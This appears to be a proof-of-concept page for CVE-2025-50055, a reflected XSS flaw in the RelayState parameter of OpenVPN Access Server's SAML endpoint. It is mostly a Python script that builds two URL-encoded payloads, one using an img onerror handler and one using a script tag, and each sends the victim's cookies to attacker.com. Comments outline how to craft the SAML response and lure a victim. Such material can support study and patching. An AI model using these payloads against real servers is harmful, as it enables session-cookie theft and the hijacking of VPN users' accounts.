CVE-2025-50055 OpenVPN Access Server SAML模块XSS漏洞

import requests import urllib.parse # CVE-2025-50055 PoC - OpenVPN Access Server SAML XSS via RelayState # This PoC demonstrates how an attacker can inject malicious JavaScript # through the RelayState parameter in the SAML ACS endpoint target_url = "https://vpn.example.com/saml/acs" # Malicious RelayState payload - XSS via img tag onerror handler xss_payload = '<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+document.cookie)">' # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Construct the SAML response URL with malicious RelayState # In real attack, this would be part of a crafted SAML Response malicious_url = f"{target_url}?RelayState={encoded_payload}" print(f"Target: {target_url}") print(f"Malicious URL: {malicious_url}") print(f"Encoded Payload: {encoded_payload}") # Alternative payload using script tag script_payload = '<script>document.location="https://attacker.com/steal?data="+btoa(document.cookie)</script>' encoded_script = urllib.parse.quote(script_payload) print(f"\nAlternative script payload: {encoded_script}") # The actual attack would involve: # 1. Creating a malicious SAML Response with the XSS payload in RelayState # 2. Tricking the victim into visiting the crafted URL or submitting the response # 3. When the server reflects the RelayState without sanitization, XSS executes